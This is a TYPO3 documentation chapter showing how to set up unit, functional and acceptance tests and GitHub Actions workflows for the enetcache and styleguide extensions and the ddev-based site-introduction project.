The following is based on the current (May, 2023) main branch of enetcache, later versions may be structured differently.

This main branch:

  • supports TYPO3 v11 and TYPO3 v12
  • requires typo3/testing-framework v7 (which supports v11 and v12)

Older versions of this extension were structured differently, each branch of the extension supported only one TYPO3 version:

  • 1.2 compatible with Core v7, released to TER as 1.x.y
  • 2 compatible with Core v8, released to TER as 2.x.y
  • master compatible with Core v9, released to TER as 3.x.y

On this page, we focus on testing one TYPO3 version at a time though it is possible to support and test 2 TYPO3 versions in one branch with the typo3/testing-framework and enetcache does this. But, for the sake of simplicity we describe the simpler use case here.

The enetcache extension comes with a couple of unit tests in Tests/Unit, we want to run these locally and by GitHub Actions, along with some PHP linting to verify there is no fatal PHP error.

Starting point

As outlined in the general strategy, we need to extend the existing composer.json file by adding some root composer.json specific things. This does not harm the functionality of the existing composer.json properties if the extension is a project dependency and not used as root composer.json: Root properties are ignored in Composer if the file is not used as root project file, see the notes "root-only" of the Composer documentation for details.

This is how the composer.json file looks before we add a test setup:

{
  "name": "lolli/enetcache",
  "type": "typo3-cms-extension",
  "description": "Enetcache cache extension",
  "homepage": "https://github.com/lolli42/enetcache",
  "authors": [
    {
      "name": "Christian Kuhn",
      "role": "Developer"
    }
  ],
  "license": [
    "GPL-2.0-or-later"
  ],
  "require": {
    "typo3/cms-core": "^13"
  },
  "autoload": {
    "psr-4": {
      "Lolli\\Enetcache\\": "Classes"
    }
  },
  "extra": {
    "branch-alias": {
      "dev-master": "2.x-dev"
    }
  }
}
Copied!

This is a typical composer.json file without any complexity: It's a typo3-cms-extension, with an author and a license. We are stating that "I need at least 13.0.0 of cms-core" and we tell the autoloader "find all class names starting with \Lolli\Enetcache in the Classes/ directory".

The extension already contains some unit tests that extend typo3/testing-framework's base unit test class in directory Tests/Unit/Hooks (stripped):

E
<?php
namespace Lolli\Enetcache\Tests\Unit\Hooks;

use TYPO3\TestingFramework\Core\Unit\UnitTestCase;

class DataHandlerFlushByTagHookTest extends UnitTestCase
{
    /**
     * @test
     */
    public function findReferencedDatabaseEntriesReturnsEmptyArrayForTcaWithoutRelations()
    {
        // some unit test code
    }
}
Copied!

Preparing composer.json

Now let's add our properties to put these tests into action. First, we add a series of properties to composer.json to add root composer.json details, turning the extension into a project at the same time:

{
  "name": "lolli/enetcache",
  "type": "typo3-cms-extension",
  "description": "Enetcache cache extension",
  "homepage": "https://github.com/lolli42/enetcache",
  "authors": [
    {
      "name": "Christian Kuhn",
      "role": "Developer"
    }
  ],
  "license": [
    "GPL-2.0-or-later"
  ],
  "require": {
    "typo3/cms-core": "^13"
  },
  "config": {
    "vendor-dir": ".Build/vendor",
    "bin-dir": ".Build/bin"
  },
  "require-dev": {
    "typo3/testing-framework": "^8"
  },
  "autoload": {
    "psr-4": {
      "Lolli\\Enetcache\\": "Classes"
    }
  },
  "autoload-dev": {
    "psr-4": {
      "Lolli\\Enetcache\\Tests\\": "Tests"
    }
  },
  "extra": {
    "branch-alias": {
      "dev-master": "2.x-dev"
    },
    "typo3/cms": {
      "extension-key": "enetcache",
      "web-dir": ".Build/Web"
    }
  }
}
Copied!

Note all added properties are only used within our root composer.json files, they are ignored if the extension is loaded as a dependency in our project. Note: We specify .Build as build directory. This is where our TYPO3 instance will be set up. We add typo3/testing-framework in a v13 compatible version as require-dev dependency. We add a autoload-dev to tell composer that test classes are found in the Tests/ directory.

Now, before we start playing around with this setup, we instruct git to ignore runtime on-the-fly files. The .gitignore looks like this:

.gitignore
.Build/
.idea/
Build/testing-docker/.env
composer.lock
Copied!

We ignore the entire .Build directory, these are on-the-fly files that do not belong to the extension functionality. We also ignore the .idea directory - this is a directory where PhpStorm stores its settings. We also ignore Build/testing-docker/.env - this is a test runtime file created by runTests.sh later. And we ignore the composer.lock file: We don't specify our dependency versions and a composer install will later always fetch for instance the youngest Core dependencies marked as compatible in our composer.json file.

Let's clone that repository and call composer install (stripped):

lolli@apoc /var/www/local/git $ git clone git@github.com:lolli42/enetcache.git
Cloning into 'enetcache'...
X11 forwarding request failed on channel 0
remote: Enumerating objects: 76, done.
remote: Counting objects: 100% (76/76), done.
remote: Compressing objects: 100% (50/50), done.
remote: Total 952 (delta 34), reused 52 (delta 18), pack-reused 876
Receiving objects: 100% (952/952), 604.38 KiB | 1.48 MiB/s, done.
Resolving deltas: 100% (537/537), done.
lolli@apoc /var/www/local/git $ cd enetcache/
lolli@apoc /var/www/local/git/enetcache $ composer install
Loading composer repositories with package information
Updating dependencies (including require-dev)
Package operations: 75 installs, 0 updates, 0 removals
  - Installing typo3/cms-composer-installers ...
  ...
  - Installing typo3/testing-framework ...
...
Writing lock file
Generating autoload files
Generating class alias map file
Inserting class alias loader into main autoload.php file
lolli@apoc /var/www/local/git/enetcache $
Copied!

To clean up any errors created at this point, we can always run rm -r .Build/ composer.lock later and call composer install again. We now have a basic TYPO3 instance in our .Build/ folder to execute our tests in:

lolli@apoc /var/www/local/git/enetcache $ cd .Build/
lolli@apoc /var/www/local/git/enetcache/.Build $ ls
bin  vendor  Web
lolli@apoc /var/www/local/git/enetcache/.Build $ ls Web/
index.php  typo3  typo3conf
lolli@apoc /var/www/local/git/enetcache/.Build $ ls Web/typo3/sysext/
backend  Core  Extbase  fluid  frontend
lolli@apoc /var/www/local/git/enetcache/.Build $ ls -l Web/typo3conf/ext/
total 0
lrwxrwxrwx 1 lolli www-data 29 Nov  5 14:19 enetcache -> /var/www/local/git/enetcache/
Copied!

The package typo3/testing-framework that we added as require-dev dependency has some basic Core extensions set as dependency, we end up with the Core extensions backend, core, extbase, fluid and frontend in .Build/Web/typo3/sysext.

We now have a full TYPO3 instance. It is not installed, there is no database, but we are now at the point to begin unit testing!

runTests.sh and docker-compose.yml

Next we need to setup our tests. These are the two files we need: Build/Scripts/runTests.sh and Build/testing-docker/ docker-compose.yml.

These files are re-purposed from TYPO3's Core: core Build/Scripts/runTests.sh and core Build/testing-docker/local/ docker-compose.yml. You can copy and paste these files from extensions like enetcache or styleguide to your own extension, but you should then look through the files and adapt to your needs, for example.

  • search for the word "enetcache" in runTests.sh and replace it with your extension key.
  • You may want to change the PHP_VERSION in runTests.sh to your minimally supported PHP version. (You can also specify the version on the command line using runTests.sh with -p.)

Let's run the unit tests:

command line
Build/Scripts/runTests.sh
Copied!

You may now see something similar to this:

Creating network "local_default" with the default driver
PHP 8.2.6 (cli) (built: May 13 2023 01:04:28) (NTS)
PHPUnit 10.2.0 by Sebastian Bergmann and contributors.

Runtime:       PHP 8.2.6
Configuration: /var/www/mysite/typo3conf/ext/styleguide/Build/UnitTests.xml

.                                                                   1 / 1 (100%)

Time: 00:00.007, Memory: 12.00 MB

OK (1 test, 5 assertions)
Removing local_unit_run_1f529b0fb49d ... done
Removing network local_default
Copied!

If there is no test output, try changing the verbosity when you run runTests.sh:

enetcache> Build/Scripts/runTests.sh -v
Copied!

Use -h to see all options:

enetcache> Build/Scripts/runTests.sh -h
Copied!

On some versions of MacOS you might get the following error message when executing runTests.sh:

$ ./Build/Scripts/runTests.sh
readlink: illegal option -- f
usage: readlink [-n] [file ...]
Creating network "local_default" with the default driver
ERROR: Cannot create container for service unit: invalid volume specification: '.:.:rw':
invalid mount config for type "volume": invalid mount path: '.' mount path must be absolute
Removing network local_default
Copied!

To solve this issue follow the steps described here to install greadlink which supports the needed --f option.

Rather than changing the runTests.sh to then use greadlink and thus risk breaking your automated testing via GitHub Actions consider symlinking your readlink executable to the newly installed greadlink with the following command as mentioned in the comments:

ln -s "$(which greadlink)" "$(dirname "$(which greadlink)")/readlink"
Copied!

The runTests.sh file of enetcache comes with some additional features, for example:

  • it is possible to execute composer update from within a container using Build/Scripts/runTests.sh -s composerUpdate
  • it is possible to execute unit tests with a several different PHP versions (with the -p option). This is available for PHP linting, too (-s lint).
  • Similar to Core test execution it is possible to break point tests using xdebug (-x option)
  • typo3gmbh containers can be updated using runTests.sh -u
  • verbose output is available with -v
  • help is available with runTests.sh -h

Github Actions

With basic testing in place we now want automatic execution of tests whenever something is merged to the repository and if people create pull requests for our extension, we want to make sure our carefully crafted test setup actually works. We'll use the CI service of Github Actions to take care of that. It's free for open source projects. In order to tell the CI what to do, create a new workflow file in .github/workflows/ci.yml

name: CI

on: [push, pull_request]

jobs:

  testsuite:
    name: all tests
    runs-on: ubuntu-latest
    strategy:
      matrix:
        php: [ '8.1', '8.2' ]
        minMax: [ 'composerInstallMin', 'composerInstallMax' ]
    steps:
      - name: Checkout
        uses: actions/checkout@v2

      - name: Composer
        run: Build/Scripts/runTests.sh -p ${{ matrix.php }} -s ${{ matrix.minMax }}

      - name: Composer validate
        run: Build/Scripts/runTests.sh -p ${{ matrix.php }} -s composerValidate

      - name: Lint PHP
        run: Build/Scripts/runTests.sh -p ${{ matrix.php }} -s lint

      - name: Unit tests
        run: Build/Scripts/runTests.sh -p ${{ matrix.php }} -s unit

      - name: Functional tests with mariadb
        run: Build/Scripts/runTests.sh -p ${{ matrix.php }} -d mariadb -s functional

      - name: Functional tests with postgres
        run: Build/Scripts/runTests.sh -p ${{ matrix.php }} -d postgres -s functional

      - name: Functional tests with sqlite
        run: Build/Scripts/runTests.sh -p ${{ matrix.php }} -d sqlite -s functional
Copied!

In case of enetcache, we let Github Actions test the extension with the several PHP versions. Each of these PHP Versions will also be tested with the highest and lowest compatible dependencies (defined in strategy.matrix.minMax). All defined steps run on the same checkout, so we will see six test runs in total, one per PHP version with each minMax property. Each run will do a separate checkout, composer install first, then all the test and linting jobs we defined. It's possible to see executed test runs online. Green :) Note we again use runTests.sh to actually run tests. So the environment our tests are executed in is identical to our local environment. It's all dockerized. The environment provided by Github Actions is only used to set up the docker environment.

Testing styleguide

The above enetcache extension is an example for a common extension that has few testing needs: It just comes with a couple of unit and functional tests. Executing these and maybe adding PHP linting is recommended. More ambitious testing needs additional effort. As an example, we pick the styleguide extension. This extension is developed "core-near", Core itself uses styleguide to test various FormEngine details with acceptance tests and if developing Core, that extension is installed as a dependency by default. However, styleguide is just a casual extension: It is released to composer's packagist.org and can be loaded as dependency (or require-dev dependency) in any project.

The styleguide extension follows the Core branching principle, too: At the time of this writing, its main branch is dedicated to be compatible with Core version 13. There are branches compatible with older Core versions, too.

In comparison to enetcache, styleguide comes with additional test suites: It has functional and acceptance tests! Our goal is to run the functional tests with different database platforms, and to execute the acceptance tests. Both locally and by GitHub Actions and with different PHP versions.

Basic setup

The setup is similar to what has been outlined in detail with enetcache above: We add properties to the composer.json file to make it a valid root composer.json defining a project. The require-dev section is a bit longer as we also need codeception to run acceptance tests and specify a couple of additional Core extensions for a basic TYPO3 instance. We additionally add an app-dir directive in the extra section.

Next, we have another iteration of runTests.sh and docker-compose.yml that are longer than the versions of enetcache to handle the functional and acceptance tests setups, too.

With this in place we can run unit tests:

git clone git@github.com:TYPO3/styleguide.git
cd styleguide
Build/Scripts/runTests.sh -s composerUpdate
# Run unit tests
Build/Scripts/runTests.sh
# ... OK (1 test, 4 assertions)
Copied!

Functional testing

At the time writing, there is only a single functional test, but this one is important as it tests crucial functionality within styleguide: The extension comes with several different TCA scenarios to show all sorts of database relation and field possibilities supported within TYPO3. To simplify testing, code can generate a page tree and demo data for all of these scenarios. Codewise, this is a huge section of the extension and it uses quite some Core API to do its job. And yes, the generator breaks once in a while. A perfect scenario for a functional test! (slightly stripped):

<?php
namespace TYPO3\CMS\Styleguide\Tests\Functional\TcaDataGenerator;

use TYPO3\CMS\Core\Core\Bootstrap;
use TYPO3\CMS\Styleguide\TcaDataGenerator\Generator;
use TYPO3\TestingFramework\Core\Functional\FunctionalTestCase;

/**
 * Test case
 */
class GeneratorTest extends FunctionalTestCase
{
    /**
     * @var array Have styleguide loaded
     */
    protected $testExtensionsToLoad = [
        'typo3conf/ext/styleguide',
    ];

    /**
     * Just a dummy to show that at least one test is actually executed on mssql
     *
     * @test
     */
    public function dummy()
    {
        $this->assertTrue(true);
    }

    /**
     * @test
     * @group not-mssql
     * @todo Generator does not work using mssql DMBS yet ... fix this
     */
    public function generatorCreatesBasicRecord()
    {
        // styleguide generator uses DataHandler for some parts. DataHandler needs an
        // initialized BE user with admin right and the live workspace.
        Bootstrap::initializeBackendUser();
        $GLOBALS['BE_USER']->user['admin'] = 1;
        $GLOBALS['BE_USER']->user['uid'] = 1;
        $GLOBALS['BE_USER']->workspace = 0;
        Bootstrap::initializeLanguageObject();

        // Verify there is no tx_styleguide_elements_basic yet
        $queryBuilder = $this->getConnectionPool()->getQueryBuilderForTable('tx_styleguide_elements_basic');
        $queryBuilder->getRestrictions()->removeAll();
        $count = (int)$queryBuilder->count('uid')
            ->from('tx_styleguide_elements_basic')
            ->executeQuery()
            ->fetchOne();
        $this->assertEquals(0, $count);

        $generator = new Generator();
        $generator->create();

        // Verify there is at least one tx_styleguide_elements_basic record now
        $queryBuilder = $this->getConnectionPool()->getQueryBuilderForTable('tx_styleguide_elements_basic');
        $queryBuilder->getRestrictions()->removeAll();
        $count = (int)$queryBuilder->count('uid')
            ->from('tx_styleguide_elements_basic')
            ->executeQuery()
            ->fetchOne();
        $this->assertGreaterThan(0, $count);
    }
}
Copied!

Ah, shame on us! The data generator does not work well if executed using MSSQL as our DBMS. It is thus marked as @group not-mssql at the moment. We need to fix that at some point. The rest is rather straight forward: We extend from \TYPO3\TestingFramework\Core\Functional\FunctionalTestCase, instruct it to load the styleguide extension ( $testExtensionsToLoad), need some additional magic for the DataHandler, then call $generator->create(); and verify it created at least one record in one of our database tables. That's it. It executes fine using runTests.sh:

lolli@apoc /var/www/local/git/styleguide $ Build/Scripts/runTests.sh -s functional
Creating network "local_default" with the default driver
Creating local_mariadb10_1 ... done
Waiting for database start...
Database is up
PHP ...
PHPUnit ... by Sebastian Bergmann and contributors.

..                                                                  2 / 2 (100%)

Time: 5.23 seconds, Memory: 28.00MB

OK (2 tests, 3 assertions)
Stopping local_mariadb10_1 ... done
Removing local_functional_mariadb10_run_1 ... done
Removing local_mariadb10_1                ... done
Removing network local_default
lolli@apoc /var/www/local/git/styleguide $
Copied!

The good thing about this test is that it actually triggers quite some functionality below. It does tons of database inserts and updates and uses the Core DataHandler for various details. If something goes wrong in this entire area, it would throw an exception, the functional test would recognize this and fail. But if its green, we know that a large parts of that extension are working correctly.

If looking at details - for instance if we try to fix the MSSQL issue - runTests.sh can be called with -x again for xdebug break pointing. Also, the functional test execution becomes a bit funny: We are creating a TYPO3 test instance within .Build/ folder anyway. But the functional test setup again creates instances for the single tests cases. The code that is actually executed is now located in a sub folder of typo3temp/ of .Build/, in this test case it is functional-9ad521a:

lolli@apoc /var/www/local/git/styleguide $ ls -l .Build/Web/typo3temp/var/tests/functional-9ad521a/
total 16
drwxr-sr-x 4 lolli www-data 4096 Nov  5 17:35 fileadmin
lrwxrwxrwx 1 lolli www-data   50 Nov  5 17:35 index.php -> /var/www/local/git/styleguide/.Build/Web/index.php
lrwxrwxrwx 1 lolli www-data   46 Nov  5 17:35 typo3 -> /var/www/local/git/styleguide/.Build/Web/typo3
drwxr-sr-x 4 lolli www-data 4096 Nov  5 17:35 typo3conf
lrwxrwxrwx 1 lolli www-data   40 Nov  5 17:35 typo3_src -> /var/www/local/git/styleguide/.Build/Web
drwxr-sr-x 4 lolli www-data 4096 Nov  5 17:35 typo3temp
drwxr-sr-x 2 lolli www-data 4096 Nov  5 17:35 uploads
Copied!

This can be confusing at first, but it starts making sense the more you use it. Also, the docker-compose.yml file contains a setup to start needed databases for the functional tests and runTests.sh is tuned to call the different scenarios.

Acceptance testing

Not enough! The styleguide extension adds a module to the TYPO3 backend to the Topbar > Help section. Next to other things, this module adds buttons to create and delete the demo data that has been functional tested above already. To verify this works in the backend as well, styleguide comes with some straight acceptance tests in Tests/Acceptance/Backend/ModuleCest:

<?php
declare(strict_types = 1);
namespace TYPO3\CMS\Styleguide\Tests\Acceptance\Backend;

use TYPO3\CMS\Styleguide\Tests\Acceptance\Support\BackendTester;
use TYPO3\TestingFramework\Core\Acceptance\Helper\Topbar;

/**
 * Tests the styleguide backend module can be loaded
 */
class ModuleCest
{
    /**
     * Selector for the module container in the topbar
     *
     * @var string
     */
    public static $topBarModuleSelector = '#typo3-cms-backend-backend-toolbaritems-helptoolbaritem';

    /**
     * @param BackendTester $I
     */
    public function _before(BackendTester $I)
    {
        $I->useExistingSession('admin');
    }

    /**
     * @param BackendTester $I
     */
    public function styleguideInTopbarHelpCanBeCalled(BackendTester $I)
    {
        $I->click(Topbar::$dropdownToggleSelector, self::$topBarModuleSelector);
        $I->canSee('Styleguide', self::$topBarModuleSelector);
        $I->click('Styleguide', self::$topBarModuleSelector);
        $I->switchToContentFrame();
        $I->see('TYPO3 CMS Backend Styleguide', 'h1');
    }

    /**
     * @depends styleguideInTopbarHelpCanBeCalled
     * @param BackendTester $I
     */
    public function creatingDemoDataWorks(BackendTester $I)
    {
        $I->click(Topbar::$dropdownToggleSelector, self::$topBarModuleSelector);
        $I->canSee('Styleguide', self::$topBarModuleSelector);
        $I->click('Styleguide', self::$topBarModuleSelector);
        $I->switchToContentFrame();
        $I->see('TYPO3 CMS Backend Styleguide', 'h1');
        $I->click('TCA / Records');
        $I->waitForText('TCA test records');
        $I->click('Create styleguide page tree with data');
        $I->waitForText('A page tree with styleguide TCA test records was created.', 300);
    }

    /**
     * @depends creatingDemoDataWorks
     * @param BackendTester $I
     */
    public function deletingDemoDataWorks(BackendTester $I)
    {
        $I->click(Topbar::$dropdownToggleSelector, self::$topBarModuleSelector);
        $I->canSee('Styleguide', self::$topBarModuleSelector);
        $I->click('Styleguide', self::$topBarModuleSelector);
        $I->switchToContentFrame();
        $I->see('TYPO3 CMS Backend Styleguide', 'h1');
        $I->click('TCA / Records');
        $I->waitForText('TCA test records');
        $I->click('Delete styleguide page tree and all styleguide data records');
        $I->waitForText('The styleguide page tree and all styleguide records were deleted.', 300);
    }
}
Copied!

There are three tests: One verifies the backend module can be called, one creates demo data, the last one deletes demo data again. The codeception setup needs a bit more attention to setup, though. The entry point is the main codeception.yml file extended by the backend suite, a backend tester and a codeception bootstrap extension that instructs the basic typo3/testing-framework acceptance bootstrap to load the styleguide extension and have some database fixtures included to easily log in to the backend. Additionally, the runTests.sh and docker-compose.yml files take care of adding selenium-chrome and a web server to actually execute the tests:

lolli@apoc /var/www/local/git/styleguide $ Build/Scripts/runTests.sh -s acceptance
Creating network "local_default" with the default driver
Creating local_chrome_1    ... done
Creating local_web_1       ... done
Creating local_mariadb10_1 ... done
Waiting for database start...
Database is up
Codeception PHP Testing Framework ...
Powered by PHPUnit ... by Sebastian Bergmann and contributors.
Running with seed:


  Generating BackendTesterActions...

TYPO3\CMS\Styleguide\Tests\Acceptance\Support.Backend Tests (3) -------------------------------------------------------
Modules: WebDriver, \TYPO3\TestingFramework\Core\Acceptance\Helper\Acceptance, \TYPO3\TestingFramework\Core\Acceptance\Helper\Login, Asserts
-----------------------------------------------------------------------------------------------------------------------
⏺ Recording ⏺ step-by-step screenshots will be saved to /var/www/local/git/styleguide/Tests/../.Build/Web/typo3temp/var/tests/AcceptanceReports/
Directory Format: record_5be078fb43f86_{filename}_{testname} ----

  Database Connection: {"Connections":{"Default":{"driver":"mysqli","dbname":"func_test_at","host":"mariadb10","user":"root","password":"funcp"}}}
  Loaded Extensions: ["core","extbase","fluid","backend","about","install","frontend","typo3conf/ext/styleguide"]
ModuleCest: Styleguide in topbar help can be called

...

Time: 27.89 seconds, Memory: 28.00MB

OK (3 tests, 6 assertions)
Stopping local_mariadb10_1 ... done
Stopping local_chrome_1    ... done
Stopping local_web_1       ... done
Removing local_acceptance_backend_mariadb10_run_1 ... done
Removing local_mariadb10_1                        ... done
Removing local_chrome_1                           ... done
Removing local_web_1                              ... done
Removing network local_default
Copied!

Ok, this setup is a bit more effort, but we end up with a browser automatically clicking things in an ad-hoc TYPO3 instance to verify this extension can perform its job. If something goes wrong, screenshots of the failed run can be found in .Build/Web/typo3temp/var/tests/AcceptanceReports/.

Github Actions

Now we want all of this automatically checked using Github Actions. As before, we define the jobs in .github/workflows/tests.yml:

name: tests

on:
  push:
  pull_request:
  schedule:
    - cron:  '42 5 * * *'

jobs:
  testsuite:
    name: all tests
    runs-on: ubuntu-20.04
    strategy:
      # This prevents cancellation of matrix job runs, if one or more already failed
      # and let the remaining matrix jobs be executed anyway.
      fail-fast: false
      matrix:
        php: [ '8.1', '8.2' ]
    steps:
      - name: Checkout
        uses: actions/checkout@v3

      - name: Install dependencies
        run: Build/Scripts/runTests.sh -p ${{ matrix.php }} -s composerUpdate

      - name: Composer validate
        run: Build/Scripts/runTests.sh -p ${{ matrix.php }} -s composerValidate

      - name: Lint PHP
        run: Build/Scripts/runTests.sh -p ${{ matrix.php }} -s lint

      - name: CGL
        run: Build/Scripts/runTests.sh -n -p ${{ matrix.php }} -s cgl

      - name: phpstan
        run: Build/Scripts/runTests.sh -p ${{ matrix.php }} -s phpstan -e "--error-format=github"

      - name: Unit Tests
        run: Build/Scripts/runTests.sh -p ${{ matrix.php }} -s unit

      - name: Functional Tests with mariadb and mysqli
        run: Build/Scripts/runTests.sh -p ${{ matrix.php }} -d mariadb -a mysqli -s functional

      - name: Functional Tests with mariadb and pdo_mysql
        run: Build/Scripts/runTests.sh -p ${{ matrix.php }} -d mariadb -a pdo_mysql -s functional

      - name: Functional Tests with mysql and mysqli
        run: Build/Scripts/runTests.sh -p ${{ matrix.php }} -d mysql -a mysqli -s functional

      - name: Functional Tests with mysql and pdo_mysql
        run: Build/Scripts/runTests.sh -p ${{ matrix.php }} -d mysql -a pdo_mysql -s functional

      - name: Functional Tests with postgres
        run: Build/Scripts/runTests.sh -p ${{ matrix.php }} -d postgres -s functional

      - name: Functional Tests with sqlite
        run: Build/Scripts/runTests.sh -p ${{ matrix.php }} -d sqlite -s functional

      - name: Build CSS
        run: Build/Scripts/runTests.sh -s buildCss
Copied!

This is similar to the enetcache example, but does some more: The functional tests are executed with three different DBMS (MariaDB, Postgres, sqlite), and the acceptance tests are executed, too. This setup takes some time to complete on Github Actions. But, it's green!

Acceptance testing of site_introduction

Introduction

Testing entire projects is somehow different from Core and extension testing. As a developer or maintainer of a specific TYPO3 instance, you probably do not want to test extension details too much - those should have been tested on an extension level already. And you probably also do not want to check too many TYPO3 backend details but look for acceptance testing of your local development, stage and live frontend website instead.

Project testing is thus probably wired into your specific CI and deployment environment. Maybe you want to automatically fire your acceptance tests as soon as some code has been merged to your projects develop branch and pushed to a staging system?

Documenting all the different decisions that may have been taken by agencies and other project developers is way too much for this little document. We thus document only one example how project testing could work: We have some "site" repository based on ddev and add basic acceptance testing to it, executed locally and by GitHub Actions.

This is thought as an inspiration you may want to adapt for your project.

Project site-introduction

The site-introduction TYPO3 project is a straight ddev based setup that aims to simplify handling the introduction extension. It delivers everything needed to have a working introduction based project, to manage content and export it for new introduction extension releases.

Since we're lazy and like well defined but simply working environments, this project is based on ddev. The repository is a simple project setup that defines a working TYPO3 instance. And we want to make sure we do not break main parts if we fiddle with it. Just like any other projects wants.

The quick start for an own site based on this repository boils down to these commands, with more details mentioned in README.md:

lolli@apoc /var/www/local $ git clone git@github.com:TYPO3-Documentation/site-introduction.git
lolli@apoc /var/www/local $ cd site-introduction
lolli@apoc /var/www/local/site-introduction $ ddev start
lolli@apoc /var/www/local/site-introduction $ ddev import-db --src=./data/db.sql
lolli@apoc /var/www/local/site-introduction $ ddev import-files --src=./assets
lolli@apoc /var/www/local/site-introduction $ ddev composer install
Copied!

This will start various containers: A database, a phpmyadmin instance, and a web server. If all goes well, the instance is reachable on https://introduction.ddev.site.

Local acceptance testing

There has been one main patch adding acceptance testing to the site-introduction repository.

The goal is to run some acceptance tests against the current website that has been set up using ddev and execute this via GitHub Actions on each run.

The solution is to add the basic selenium-chrome container as additional ddev container, add codeception as require-dev dependency, add some codeception actor, a test and a basic codeception.yml file. Tests are then executed within the container to the locally running ddev setup.

Let's have a look at some more details: ddev allows to add further containers to the setup. We did that for the selenium-chrome container that pilots the acceptance tests as .ddev/docker-compose.chrome.yaml:

version: '3.6'
services:
  selenium:
    container_name: ddev-${DDEV_SITENAME}-chrome
    image: selenium/standalone-chrome:3.12
    environment:
      - VIRTUAL_HOST=$DDEV_HOSTNAME
      - HTTP_EXPOSE=4444
    external_links:
      - ddev-router:$DDEV_HOSTNAME
Copied!

With this in place and calling ddev start, another container with name ddev-introduction-chrome is added to the other containers, running in the same docker network. More information about setups like these can be found in the ddev documentation.

To execute acceptance tests in this installation you have to activate this file, usually it is now appended with the suffix .inactive and therefore not used when DDEV starts. To activate acceptance tests the file .ddev/docker-compose.chrome.yaml.inactive has to be renamed to .ddev/docker-compose.chrome.yaml. By default acceptance tests are disabled because they slow down other tests significantly.

Next, after adding codeception as require-dev dependency in composer.json, we need a basic Tests/codeception.yml file:

namespace: Bk2k\SiteIntroduction\Tests\Acceptance\Support
suites:
  acceptance:
    actor: AcceptanceTester
    path: .
    modules:
      enabled:
        - Asserts
        - WebDriver:
            url: https://introduction.ddev.site
            browser: chrome
            host: ddev-introduction-chrome
            wait: 1
            window_size: 1280x1024
extensions:
  enabled:
    - Codeception\Extension\RunFailed
    - Codeception\Extension\Recorder

paths:
  tests: Acceptance
  output: ../var/log/_output
  data: .
  support: Acceptance/Support

settings:
  shuffle: false
  lint: true
  colors: true
Copied!

This tells codeception there is a selenium instance at ddev-introduction-chrome with chrome, the website is reachable as https://introduction.ddev.site, it enables some codeception plugins and specifies a couple of logging details. The codeception documentation goes into details about these.

Now we need a simple first test which is added as Tests/Acceptance/Frontend/FrontendPagesCest.php:

EXT:site_introduction/Tests/Acceptance/Frontend/FrontendPagesCest.php
<?php
declare(strict_types = 1);
namespace Bk2k\SiteIntroduction\Tests\Acceptance\Frontend;
use Bk2k\SiteIntroduction\Tests\Acceptance\Support\AcceptanceTester;
class FrontendPagesCest
{
    /**
     * @param AcceptanceTester $I
     */
    public function firstPageIsRendered(AcceptanceTester $I)
    {
        $I->amOnPage('/');
        $I->see('Open source, enterprise CMS delivering  content-rich digital experiences on any channel,  any device, in any language');
        $I->click('Customize');
        $I->see('Incredible flexible');
    }
}
Copied!

It just calls the homepage of our instance, clicks one of the links and verifies some text is shown. Straight, but enough to see if the basic instance does work.

Ah, and we need a "Tester" in the Support directory.

That's it. We can now execute the acceptance test suite by executing a command in the ddev PHP container:

lolli@apoc /var/www/local/site-introduction $ ddev exec bin/codecept run acceptance -d -c Tests/codeception.yml
Codeception PHP Testing Framework v2.5.6
Powered by PHPUnit 7.5.20 by Sebastian Bergmann and contributors.
Running with seed:


Bk2k\SiteIntroduction\Tests\Acceptance\Support.acceptance Tests (1) -------------------------------------------------------------------------------------------------
Modules: Asserts, WebDriver
---------------------------------------------------------------------------------------------------------------------------------------------------------------------
⏺ Recording ⏺ step-by-step screenshots will be saved to /var/www/html/Tests/../var/log/_output/
Directory Format: record_5be441bbdc8ed_{filename}_{testname} ----
FrontendPagesCest: First page is rendered
Signature: Bk2k\SiteIntroduction\Tests\Acceptance\Frontend\FrontendPagesCest:firstPageIsRendered
Test: Acceptance/Frontend/FrontendPagesCest.php:firstPageIsRendered
Scenario --
 I am on page "/"
  [GET] https://introduction.ddev.site/
 I see "Open source, enterprise CMS delivering  content-rich digital experiences on any channel,  any device, in any language"
 I click "Customize"
 I see "Incredible flexible"
 PASSED

---------------------------------------------------------------------------------------------------------------------------------------------------------------------
⏺ Records saved into: file:///var/www/html/Tests/../var/log/_output/records.html


Time: 8.46 seconds, Memory: 8.00MB

OK (1 test, 2 assertions)

lolli@apoc /var/www/local/site-introduction $
Copied!

Done: Local test execution of a projects acceptance test!

GitHub Actions

With local testing in place, we now want tests to run automatically when something is merged into the repository, and when people create pull requests for our project, we want to make sure that our carefully crafted test setup actually works. We're going to use Github's Actions CI service to get that done. It's free for open source projects. To tell the CI what to do, create a new workflow file in .github/workflows/tests.yml

name: tests

on:
  push:
  pull_request:
  workflow_dispatch:

jobs:
  testsuite:
    name: all tests
    runs-on: ubuntu-20.04
    steps:
      - name: Checkout
        uses: actions/checkout@v2

      - name: Start DDEV
        uses: jonaseberle/github-action-setup-ddev@v1

      - name: Import database
        run: ddev import-db --src=./data/db.sql

      - name: Import files
        run: ddev import-files --src=./assets

      - name: Install Composer packages
        run: ddev composer install

      - name: Allow public access of var folder
        run: sudo chmod 0777 ./var

      - name: Run acceptance tests
        run: ddev exec bin/codecept run acceptance -d -c Tests/codeception.yml
Copied!

It's possible to see executed test runs online. Green :)

Summary

This chapter is a show case how project testing can be done. Our example project makes it easy for us since the ddev setup allows us to fully kickstart the entire instance and then run tests on it. Your project setup may be probably different, you may want to run tests against some other web endpoint, you may want to trigger that from within your CI and deployment phase and so on. These setups are out of scope of this document, but maybe the chapter is a good starting point and you can derive your own solution from it.

About This Manual

TYPO3 is known for its extensibility. To really benefit from this power, a complete documentation is needed: "TYPO3 Explained" aims to provide such information to everyone. Not all areas are covered with the same amount of detail, but at least some pointers are provided.

The document does not contain any significant information about the frontend of TYPO3. Creating templates, setting up TypoScript objects etc. is not the scope of the document, it addresses the backend and management part of the Core only.

The TYPO3 Documentation Team hopes that this document will form a complete picture of the TYPO3 Core architecture. It will hopefully be the knowledge base of choice in your work with TYPO3.

Intended Audience

This document is intended to be a reference for TYPO3 developers and partially for integrators. The document explains all major parts of TYPO3 and the concepts. Some chapters presumes knowledge in the technical end: PHP, MySQL, Unix etc, depending on the specific chapter.

The goal is to take you "under the hood" of TYPO3. To make the principles and opportunities clear and less mysterious. To educate you to help continue the development of TYPO3 along the already established lines so we will have a consistent CMS application in a future as well. And hopefully this teaching on the deep technical level will enable you to educate others higher up in the "hierarchy". Please consider that as well!

Code examples

Many of the code examples found in this document come from the TYPO3 Core itself.

